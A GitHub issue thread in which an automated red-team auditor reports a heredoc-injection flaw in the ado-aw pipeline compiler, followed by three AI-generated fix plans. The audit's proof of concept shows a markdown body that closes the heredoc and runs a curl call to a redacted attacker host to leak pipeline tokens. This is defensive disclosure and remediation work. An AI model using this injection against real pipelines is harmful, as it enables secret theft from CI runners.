🔴 Red Team Audit — High: Agent markdown body heredoc injection allows arbitrary bash execution

[github-actions]

🔴 Red Team Security Audit

Audit focus: Category A (Input Sanitization & Injection) — heredoc injection via agent_content
Severity: High

Findings

#	Vulnerability	Severity	File(s)	Exploitable?
1	Agent markdown body heredoc injection	High	src/data/base.yml:148-156, src/data/1es-base.yml:177-185, src/compile/common.rs:38-79, src/compile/mod.rs:62	Yes — arbitrary bash execution with full network access + secret access

---

Details

Finding 1: Agent Markdown Body Heredoc Injection (High)

Description: The agent markdown body (\{\{ agent_content }}) is embedded verbatim into a bash heredoc in the generated pipeline YAML. The markdown body is never sanitized for the heredoc terminator string AGENT_PROMPT_EOF. If the body contains that string on a line by itself, it prematurely closes the heredoc and any content appearing before the template's actual terminator executes as bash.

In src/compile/mod.rs, markdown_body is passed directly to the compiler without sanitization:

let (mut front_matter, markdown_body) = parse_markdown(&content)?;
front_matter.sanitize_config_fields();   // ← only front matter is sanitized
// ...
compiler.compile(input_path, ..., &markdown_body, ...)  // ← raw markdown body

In src/data/base.yml (and identically in 1es-base.yml):

      - bash: |
          cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
          \{\{ agent_content }}
          AGENT_PROMPT_EOF

replace_with_indent adds the template's indentation (10 spaces in base.yml, 20 spaces in 1es-base.yml) to every line of the markdown body. Since these are also the YAML block-scalar common indentation widths, they are stripped by YAML parsing before bash sees the script. The result: any line containing exactly AGENT_PROMPT_EOF in the markdown body arrives at bash with no leading whitespace and closes the heredoc.

Attack vector:

1. Attacker crafts a .md pipeline definition whose markdown body starts with the heredoc terminator on its own line followed by commands:

   ---
   name: "My Agent"
   description: "Legitimate-looking agent"
   permissions:
     read: my-arm-connection
   ---
   AGENT_PROMPT_EOF
   curl -s "(attacker.com/redacted)

2. ado-aw compile succeeds without any warning or error.
3. When the pipeline runs, the "Prepare agent prompt" bash step closes the heredoc at the first AGENT_PROMPT_EOF (writing an empty file to /tmp/awf-tools/agent-prompt.md), then executes the attacker-supplied curl command.

PoC — compiled pipeline excerpt (after YAML block-scalar indentation stripping):

cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
AGENT_PROMPT_EOF                                        # ← closes heredoc early
curl -s "(attacker.com/redacted)
AGENT_PROMPT_EOF                                        # ← template terminator: runs as unknown command

ADO macro-expands $(SC_READ_TOKEN) (the read ADO token) and $(MCP_GATEWAY_API_KEY) to their real values before bash executes the script. The curl request therefore carries the plaintext secrets (they are masked in ADO logs, but the network request contains the real values).

Impact:

• Arbitrary bash execution on the pipeline runner with full network access (AWF is not yet active when this step runs — it starts several steps later).
• SC_READ_TOKEN exfiltration: the read ADO access token, if permissions.read is configured.
• MCP_GATEWAY_API_KEY exfiltration: the MCPG API key generated earlier in the same job, enabling a remote attacker to call SafeOutputs tools directly and bypass agent sandboxing.
• Workspace file access: full read/write access to all checked-out repository files before the agent even starts.
• Affects both standalone and 1es pipeline targets.

Covertness: Unlike adding malicious content to the steps: front matter field (which security reviewers know to audit), the markdown body is treated as benign human-readable instructions. A reviewer would not flag AGENT_PROMPT_EOF appearing in what looks like documentation or a heading. The attack survives typical PR code review.

Suggested fix (multiple layers recommended):

1. Randomize the heredoc terminator at compile time — generate a random alphanumeric token (e.g., UUID) as the terminator for each compiled pipeline so an attacker cannot predict or embed it:

   let heredoc_token = format!("AGENT_PROMPT_{}", uuid::Uuid::new_v4().to_simple());

   This eliminates the injection vector regardless of content.

2. Sanitize the markdown body — before embedding agent_content, escape or remove lines that exactly match the known terminator:

   let safe_body = markdown_body.replace("AGENT_PROMPT_EOF", "AGENT_PROMPT_EOF_");

3. Avoid heredoc for agent prompt — write the file using a method that doesn't depend on a terminator, for example base64-encoding the content:

   echo '<base64-encoded-content>' | base64 -d > "/tmp/awf-tools/agent-prompt.md"

The randomized-terminator approach (option 1) is most robust because it prevents injection regardless of content length or structure, and works even if new template markers are added in the future.

---

Audit Coverage

Category	Status
A: Input Sanitization & Injection	✅ Scanned — new finding above
B: Path Traversal & File System	✅ Scanned — no new vulnerabilities
C: Network & Domain Allowlist Bypass	✅ Scanned — no new vulnerabilities
D: Credential & Secret Exposure	✅ Scanned — finding above exposes SC_READ_TOKEN + MCP_GATEWAY_API_KEY
E: Logic & Authorization Flaws	✅ Scanned — no new vulnerabilities
F: Supply Chain & Dependency Integrity	✅ Scanned — no new vulnerabilities

Previously open issues: #238 (pool name YAML injection, High) and #209 (Docker flag validation, Medium) remain open and unaddressed.

---

This issue was created by the automated red team security auditor.

Generated by Red Team Security Auditor · ● 5.1M · ◷

[jamesadevine]

/plan

[github-actions]

✅ Issue Plan Maker completed successfully!

[github-actions]

Implementation Plan: Fix Heredoc Injection via agent_content

Objective

Prevent arbitrary bash execution from heredoc terminator injection by eliminating the ability for an attacker-controlled markdown body to close the heredoc early. The fix must not break the check command or the compile --all re-compilation path.

---

Scope

In scope:

• Randomize the AGENT_PROMPT_EOF heredoc terminator (primary attack vector — user-controlled content)
• Randomize THREAT_ANALYSIS_EOF terminator (defense-in-depth — embedded .md file content is developer-controlled but hardening is cheap)
• Fix check_pipeline comparison to tolerate randomized heredoc tokens
• Add regression tests

Out of scope:

• MCPG_CONFIG_EOF / MCP_CLIENT_CONFIG_EOF — compiler-generated JSON with validated server names; no user-controlled text in the heredoc body. Lower risk; can be addressed in a follow-up.
• ##vso[ injection — already mitigated in front matter by sanitize_config_fields().

---

Root Cause

In src/data/base.yml and src/data/1es-base.yml, the agent markdown body is embedded verbatim into a bash heredoc using the static, predictable terminator AGENT_PROMPT_EOF:

cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
\{\{ agent_content }}
AGENT_PROMPT_EOF

replace_with_indent in src/compile/common.rs (line 38–79) prepends indentation to every line of markdown_body. YAML block-scalar parsing then strips that common indentation before bash sees the script. A markdown body line AGENT_PROMPT_EOF therefore becomes bare AGENT_PROMPT_EOF in the executed bash, closing the heredoc prematurely and executing whatever follows as shell commands.

---

Work Breakdown

Step 1 — Randomize AGENT_PROMPT_EOF in both templates

• src/data/base.yml (lines 150, 152) — replace the static terminator with a template placeholder:

  cat > "/tmp/awf-tools/agent-prompt.md" << '\{\{ agent_prompt_heredoc_token }}'
  \{\{ agent_content }}
  \{\{ agent_prompt_heredoc_token }}

• src/data/1es-base.yml (lines 179, 181) — same change.
• Repeat for THREAT_ANALYSIS_EOF (base.yml lines 476/478, 1es-base.yml equivalents), using placeholder \{\{ threat_analysis_heredoc_token }}.

Step 2 — Generate random tokens in src/compile/common.rs

• At compile time (inside generate_shared_pipeline_config or equivalent), generate two random 16-character uppercase alphanumeric tokens using the already-present rand v0.10 dependency:

  use rand::Rng;
  let agent_prompt_token: String = rand::rng()
      .sample_iter(rand::distr::Alphanumeric)
      .take(16)
      .map(|c| c as char)
      .collect::<String>()
      .to_uppercase();
  let threat_analysis_token: String = /* same pattern */;

• Add both to the replacements list in generate_shared_pipeline_config:

  ("\{\{ agent_prompt_heredoc_token }}", &format!("AGENT_PROMPT_{}", agent_prompt_token)),
  ("\{\{ threat_analysis_heredoc_token }}", &format!("THREAT_ANALYSIS_{}", threat_analysis_token)),

  These must be added before the \{\{ agent_content }} and \{\{ threat_analysis_prompt }} entries so the token is already substituted before content is inserted.

Step 3 — Fix check_pipeline to tolerate randomized tokens

check_pipeline in src/compile/mod.rs re-compiles from source and compares. Randomized tokens will always differ between the stored and freshly-compiled pipelines, breaking check.

• In check_pipeline, normalize both pipelines before comparison by replacing heredoc token suffixes with a canonical placeholder. Add a helper alongside normalize_whitespace:

  fn normalize_heredoc_tokens(s: &str) -> String {
      static RE: std::sync::OnceLock<regex::Regex> = std::sync::OnceLock::new();
      let re = RE.get_or_init(|| {
          regex::Regex::new(r"\b(AGENT_PROMPT|THREAT_ANALYSIS)_[A-Z0-9]{16}\b").unwrap()
      });
      re.replace_all(s, "$1_TOKEN").into_owned()
  }

  Apply it before the normalize_whitespace step.

• Alternative (no regex dep): use a simple line-by-line scan that replaces lines/tokens starting with AGENT_PROMPT_ or THREAT_ANALYSIS_ followed by exactly 16 uppercase alphanumeric chars. If regex is not already a dependency, the line-scan approach avoids adding one.

  Check current Cargo.toml — if regex is not present, use a str::find-based normalizer or add regex with once_cell.

Step 4 — Add regression tests

• In tests/compiler_tests.rs or src/compile/common.rs test section, add a test that:
  1. Compiles a minimal agent whose markdown body contains the string AGENT_PROMPT_EOF on its own line.
  2. Asserts the compiled YAML does not contain AGENT_PROMPT_EOF.
  3. Asserts the compiled YAML contains exactly one opening and one closing AGENT_PROMPT_<token> line with a matching token.
  4. Compiles the same agent twice and asserts the two tokens differ (randomness check).
• Add a check_pipeline test that verifies round-trip consistency still passes despite different tokens.

---

Validation Strategy

1. Unit tests — new tests from Step 4 cover the injection scenario directly.
2. cargo clippy — no new warnings.
3. cargo test — all existing tests continue to pass, especially check_pipeline round-trip tests.
4. Manual PoC — compile the PoC .md from the issue (with AGENT_PROMPT_EOF line in body) and verify the resulting bash step in the YAML no longer closes the heredoc at that line.

---

Risks and Mitigations

Risk	Mitigation
check_pipeline false-negative: tokens differ → check always passes even with real content changes	Token normalization is pattern-specific (AGENT_PROMPT_[A-Z0-9]{16}); only the token suffix is normalized, not any other content
Randomization adds nondeterminism that breaks reproducible builds	Only the heredoc token changes; all other pipeline content is deterministic. The token is cosmetic to the file-writing mechanism, not to functional pipeline logic
threat_analysis_prompt is developer-controlled, so THREAT_ANALYSIS_EOF injection requires repo write access (lower severity)	Still worth fixing for consistent defense; implementation cost is minimal alongside the primary fix
Related open issues #238 (pool name YAML injection) and #209 (Docker flag validation)	Out of scope for this fix; tracked separately

---

Dependencies and Assumptions

• rand v0.10 is already in Cargo.toml — no new dependency for token generation.
• Whether regex is needed for the check normalizer should be confirmed before writing that code. If not already present, prefer a str-based approach to avoid a new compile-time dependency.
• Both base.yml and 1es-base.yml must be patched in lockstep; missing one leaves the 1ES target vulnerable.

---

Files to Change

File	Change
src/data/base.yml	Replace static AGENT_PROMPT_EOF / THREAT_ANALYSIS_EOF with placeholder tokens
src/data/1es-base.yml	Same
src/compile/common.rs	Generate random tokens, add to replacements list
src/compile/mod.rs	Add normalize_heredoc_tokens helper; apply in check_pipeline comparison
tests/compiler_tests.rs	Regression tests for injection scenario and check round-trip

Generated by Issue Plan Maker for issue #260 · ● 704K · ◷

[jamesadevine]

/plan what if we were to make prompt injection dynamic, like in gh-aw. Research how gh-aw achieves runtime prompt generation and ideate ways we could integrate prompt generation in ado-aw. The approach would no longer statically embed prompts.

[github-actions]

✅ Issue Plan Maker completed successfully!

[github-actions]

Implementation Plan: Runtime Prompt Generation (gh-aw–style)

Objective

Replace compile-time heredoc prompt embedding with runtime file-reads, following gh-aw's \{\\{\#runtime-import}} pattern. This fully eliminates the AGENT_PROMPT_EOF heredoc injection attack surface (no user-controlled content ever enters the compiled pipeline YAML) and enables edit-without-recompile for agent instructions.

---

How gh-aw Does It

gh-aw's compiler_yaml.go no longer embeds markdown body content at compile time. Instead it emits a \{\\{\#runtime-import .github/workflows/test.md}} macro as a placeholder in the prompt file. At pipeline runtime, actions/setup/js/runtime_import.cjs processes those macros by reading the referenced files from the repository checkout, stripping front matter, and assembling the final prompt.txt.

gh-aw	ado-aw (this plan)
\{\\{\#runtime-import filepath}} macro in compiled YAML	\{\{ source_path }} (already in compiled YAML)
runtime_import.cjs Node.js helper reads file at runtime	ado-aw prepare-prompt --source \{\{ source_path }} Rust binary reads file at runtime
Built-in prompt sections embedded at compile time	Extension supplements assembled by binary at runtime via collect_extensions()

The \{\{ source_path }} placeholder already exists and is already substituted correctly for both workspace modes — no new compile-time machinery is needed.

---

Scope

In scope:

• New ado-aw prepare-prompt subcommand (reads agent body + appends extension supplements at runtime)
• New ado-aw prepare-threat-prompt subcommand (resolves threat analysis template placeholders at runtime)
• Remove \{\{ agent_content }} and \{\{ threat_analysis_prompt }} heredocs from base.yml / 1es-base.yml
• Remove markdown_body parameter from generate_shared_pipeline_config()
• Remove wrap_prompt_append() pipeline steps (supplement logic moves into binary)
• Update compile_pipeline() and check_pipeline() accordingly
• Tests for new subcommands

Out of scope:

• MCPG_CONFIG_EOF / MCP_CLIENT_CONFIG_EOF heredocs (compiler-generated JSON, no user input)
• Changes to threat analysis logic itself

---

Work Breakdown

Step 1 — New ado-aw prepare-prompt subcommand

• Create src/prepare_prompt.rs:

  pub async fn run(source: &Path, output: &Path) -> Result<()> {
      let content = tokio::fs::read_to_string(source).await?;
      let (front_matter, markdown_body) = compile::parse_markdown(&content)?;
      let extensions = compile::extensions::collect_extensions(&front_matter);
      let mut parts = vec![markdown_body.to_string()];
      for ext in &extensions {
          if let Some(s) = ext.prompt_supplement() { parts.push(s); }
      }
      tokio::fs::write(output, parts.join("\n")).await?;
      Ok(())
  }

• Add PreparePrompt { source: PathBuf, output: PathBuf } variant to Commands enum in src/main.rs

Step 2 — New ado-aw prepare-threat-prompt subcommand

• Add PrepareThreatPrompt { source: PathBuf, output: PathBuf, working_dir: String } to Commands
• In src/prepare_prompt.rs (or its own file), implement: re-parses front matter from --source, loads threat-analysis.md via include_str!, replaces \{\{ agent_name }}, \{\{ agent_description }}, \{\{ source_path }}, \{\{ working_directory }} at runtime, writes to --output

Step 3 — Template changes (base.yml + 1es-base.yml)

• src/data/base.yml lines ~149–157 — replace "Prepare agent prompt" heredoc step:

  - bash: |
      AGENTIC_PIPELINES_PATH="$(Pipeline.Workspace)/agentic-pipeline-compiler/ado-aw"
      "$AGENTIC_PIPELINES_PATH" prepare-prompt \
        --source "\{\{ source_path }}" \
        --output "/tmp/awf-tools/agent-prompt.md"
      echo "Agent prompt assembled:"
      cat "/tmp/awf-tools/agent-prompt.md"
    displayName: "Prepare agent prompt"

• src/data/base.yml lines ~475–481 — replace "Prepare threat analysis prompt" heredoc step:

  - bash: |
      AGENTIC_PIPELINES_PATH="$(Pipeline.Workspace)/agentic-pipeline-compiler/ado-aw"
      "$AGENTIC_PIPELINES_PATH" prepare-threat-prompt \
        --source "\{\{ source_path }}" \
        --working-dir "\{\{ working_directory }}" \
        --output "/tmp/awf-tools/threat-analysis-prompt.md"
      echo "Threat analysis prompt assembled:"
      cat "/tmp/awf-tools/threat-analysis-prompt.md"
    displayName: "Prepare threat analysis prompt"

• Apply identical changes to src/data/1es-base.yml

Step 4 — Compiler changes

• src/compile/common.rs — Remove markdown_body: &str parameter from generate_shared_pipeline_config(); remove the ("\{\{ agent_content }}", markdown_body) replacement entry; remove the threat_analysis_prompt include/replacement block (~lines 2152–2160 and 2199)
• src/compile/common.rs — Remove wrap_prompt_append() calls from generate_extensions_prepare_steps_and_supplements() (only emit prepare_steps() output, not supplement heredocs)
• src/compile/extensions.rs — Remove wrap_prompt_append() pub function; keep prompt_supplement() in the trait (still used by prepare-prompt at runtime)
• src/compile/mod.rs — compile_pipeline(): stop passing markdown_body; check_pipeline() — no change required (comparison remains structurally sound since content is no longer embedded)

Step 5 — AGENTS.md

• Document prepare-prompt and prepare-threat-prompt subcommands
• Add note that agent markdown body can be edited without recompiling the pipeline

Step 6 — Tests

• Add unit tests for prepare_prompt::run():
  • Agent body containing AGENT_PROMPT_EOF on its own line → appears in output file (prompt), not in any compiled YAML
  • Agent with Lean runtime enabled → Lean supplement appended in output
• Integration test: compile a minimal agent and assert the resulting pipeline YAML contains no AGENT_PROMPT_EOF, no THREAT_ANALYSIS_EOF, and no embedded markdown body text
• Integration test: edit only the markdown body of an already-compiled pipeline → check_pipeline still passes (body not in compiled YAML)
• Remove/update any existing tests that asserted embedded content in compiled output

---

Validation Strategy

1. cargo test — all existing tests pass; new tests above green
2. cargo clippy — no new warnings
3. Manual PoC — compile the attack .md from the issue body; verify the resulting pipeline YAML contains no heredoc with AGENT_PROMPT_EOF and no embedded markdown content
4. Runtime smoke test — run ado-aw prepare-prompt --source examples/basic.md --output /tmp/test-prompt.md locally; inspect output

---

Risks and Mitigations

Risk	Mitigation
ado-aw binary availability at prompt step	Binary is downloaded in "Download agentic pipeline compiler" (~line 60 in base.yml); prompt step is at ~line 150 — binary is already available ✓
source_path and working_directory are still in compiled YAML	These are compile-time strings resolved by the compiler, not user input — no injection risk
Extension supplement logic must stay in sync between compiler and binary	collect_extensions() and prompt_supplement() are shared code; prepare-prompt calls the same functions
wrap_prompt_append() had its own heredoc injection risk (extension names)	Removing it entirely eliminates the surface, not just mitigates it
1es-base.yml must be updated in lockstep	Integration test matrix should cover both targets

---

Dependencies and Assumptions

• ado-aw binary is downloaded and checksum-verified before the prompt steps run (confirmed: ~lines 57–77 in base.yml)
• \{\{ source_path }} placeholder is already correctly generated for all workspace/checkout modes — no new compile logic needed
• compile::extensions::collect_extensions() and CompilerExtension::prompt_supplement() are accessible from prepare_prompt.rs — confirm pub visibility before implementation
• parse_markdown() in src/compile/mod.rs is already pub (used by execute)

---

Why This Supersedes the Previous Plan (Randomized Terminators)

The previous plan in this issue proposed randomizing AGENT_PROMPT_EOF. This plan is architecturally superior:

Aspect	Randomized Tokens	Runtime Read (this plan)
Injection prevention	Probabilistic (token unknown to attacker)	Absolute (no heredoc for user content)
Edit-without-recompile	✗ No	✓ Yes
gh-aw parity	✗ No	✓ Yes
check_pipeline complexity	Requires normalisation logic	Simpler — body not in YAML
Compiled YAML cleanliness	Token still in YAML	✓ No user content

Both fix the immediate CVE; the runtime approach delivers the architectural improvement the comment requests.

---

Files to Change

File	Change
src/main.rs	Add PreparePrompt, PrepareThreatPrompt subcommands
src/prepare_prompt.rs	New — implement both run() functions
src/data/base.yml	Replace \{\{ agent_content }} and \{\{ threat_analysis_prompt }} heredoc steps
src/data/1es-base.yml	Same
src/compile/common.rs	Remove markdown_body param + 2 replacement entries + supplement-wrapping
src/compile/extensions.rs	Remove wrap_prompt_append(); keep prompt_supplement() trait method
src/compile/mod.rs	Stop passing markdown_body to generate_shared_pipeline_config()
AGENTS.md	Document new subcommands + edit-without-recompile
tests/	Add injection regression test; update embedded-content assertions

Generated by Issue Plan Maker for issue #260 · ● 2.1M · ◷

[jamesadevine]

/plan is there an equivalent prepare-prompt command in gh-aw? We should observe similar patterns I.e. commands where they make sense.

[github-actions]

✅ Issue Plan Maker completed successfully!

[github-actions]

Implementation Plan: prepare-prompt Command + Heredoc Injection Fix

Objective

Eliminate the heredoc injection vulnerability in the "Prepare agent prompt" pipeline step by adding a prepare-prompt CLI subcommand to ado-aw, following gh-aw's pattern of using the compiled binary itself to safely write content to disk — no heredoc, no predictable terminator, no injection surface.

---

Context: gh-aw's Approach

gh-aw does not have a prepare-prompt CLI command. Instead it uses two complementary patterns:

1. GenerateHeredocDelimiterFromSeed("PROMPT", frontmatterHash) — derives a unique, unpredictable heredoc delimiter via HMAC-SHA256 over the file's frontmatter hash, making the delimiter impossible to predict at authoring time.
2. ValidateHeredocContent(content, delimiter) — at compile time, rejects any content that contains the delimiter (defense-in-depth, computationally infeasible to trigger with HMAC).
3. A script file approach (bash "\$\{RUNNER_TEMP}/gh-aw/actions/create_prompt_first.sh") for prompt assembly, avoiding large inline heredocs entirely.

For ado-aw, the cleanest equivalent is a prepare-prompt subcommand — the binary is already downloaded and executable in the pipeline before this step runs, so there's zero extra infrastructure cost.

---

Scope

In scope:

• New prepare-prompt subcommand in src/main.rs
• Replace heredoc "Prepare agent prompt" step in src/data/base.yml and src/data/1es-base.yml
• Compile-time validation: reject agent markdown body containing AGENT_PROMPT_EOF or MCP_CLIENT_CONFIG_EOF as defense-in-depth until those terminators are also randomized
• Document the new command in AGENTS.md

Out of scope (follow-up):

• Randomizing MCP_CLIENT_CONFIG_EOF (operator-controlled JSON, not user markdown — lower risk)
• gh-aw-style GenerateHeredocDelimiterFromSeed (the prepare-prompt approach is cleaner and eliminates the surface entirely)

---

Work Breakdown

• 1. Add prepare-prompt subcommand (src/main.rs)

  ado-aw prepare-prompt <source.md> --output <path>
  

  • Parse the source .md file
  • Strip YAML front matter (reuse parse_markdown() from compile/common.rs)
  • Write the markdown body to the --output path
  • Error clearly if file not found, output path not writable, or front matter parse fails
  • Return exit code 0 on success, non-zero on failure

• 2. Add PreparePrompt variant to Commands enum (src/main.rs)

  PreparePrompt {
      source: PathBuf,
      #[arg(short, long)]
      output: PathBuf,
  }

• 3. Implement prepare_prompt() function (can live in src/main.rs or a new src/prepare_prompt.rs)

  • Read source file → parse_markdown(&content) → write markdown_body to output file

• 4. Update src/data/base.yml — replace "Prepare agent prompt" step (lines 148–156):

  - bash: |
      /tmp/awf-tools/ado-aw prepare-prompt "\{\{ source_path }}" --output /tmp/awf-tools/agent-prompt.md
      echo "Agent prompt:"
      cat /tmp/awf-tools/agent-prompt.md
    displayName: "Prepare agent prompt"

  Note: \{\{ source_path }} is already a supported template marker that resolves to the correct runtime path. The binary is already copied to /tmp/awf-tools/ado-aw earlier in the same step block (line 120).

• 5. Update src/data/1es-base.yml — identical change to the 1ES template (lines 177–185)

• 6. Add compile-time validation (src/compile/common.rs in compile_shared())

  • Before substituting \{\{ agent_content }}, scan markdown_body for the literal strings AGENT_PROMPT_EOF and MCP_CLIENT_CONFIG_EOF
  • Emit a compile error (anyhow::bail!) if found — this is defense-in-depth; the new pipeline step doesn't use these terminators but the check guards against template regressions
  • Note: Once the heredoc is gone from the template, this validation can be simplified or removed

• 7. Update AGENTS.md — add prepare-prompt to the CLI Commands section

• 8. Add unit tests (src/main.rs or integration tests in tests/)

  • Test that prepare-prompt correctly strips front matter and writes body
  • Test error handling (missing file, malformed front matter)
  • Test compile-time validation rejects known-bad terminators in markdown body

---

Validation Strategy

• cargo test passes — existing tests still green
• Manual: compile an agent .md, run the generated pipeline locally, verify agent-prompt.md is written correctly with the prepare-prompt command
• Negative test: .md file containing AGENT_PROMPT_EOF on its own line → ado-aw compile emits an error (until step 6 is removed after template update)
• Negative test: .md file containing AGENT_PROMPT_EOF → ado-aw prepare-prompt still writes the file correctly (the command has no heredoc, so injection is impossible)
• cargo clippy clean

---

Risks and Mitigations

Risk	Mitigation
\{\{ source_path }} contains ADO macro syntax (e.g. $(Build.SourcesDirectory)) — the path is correct at runtime but looks odd in the template	This is existing behavior already used by the execute command in the same template; no change needed
prepare-prompt is called before \{\{ source_path }} points to the agents/ directory (ordering issue)	The agents/ directory is populated by the checkout step which runs before all these steps
The ado-aw binary at /tmp/awf-tools/ado-aw might not yet be present when "Prepare agent prompt" runs	Examine step ordering in base.yml: binary is copied in the preceding step (line 120); ordering is safe as both steps are in the same job
Breaking change to generated pipelines — existing compiled pipelines won't have the new prepare-prompt step	Requires recompilation; the check command will flag stale pipelines. Document in CHANGELOG.

---

Dependencies and Assumptions

• parse_markdown() in src/compile/common.rs is already public within the crate — can be reused directly
• The ado-aw binary is guaranteed to be at /tmp/awf-tools/ado-aw before "Prepare agent prompt" runs (confirmed: copied on line 120 of base.yml, same bash step block, same job)
• \{\{ source_path }} resolves correctly to the agent file at pipeline runtime (already used by execute command — confirmed safe)
• No new dependencies needed (pure file I/O)

Generated by Issue Plan Maker for issue #260 · ● 2.2M · ◷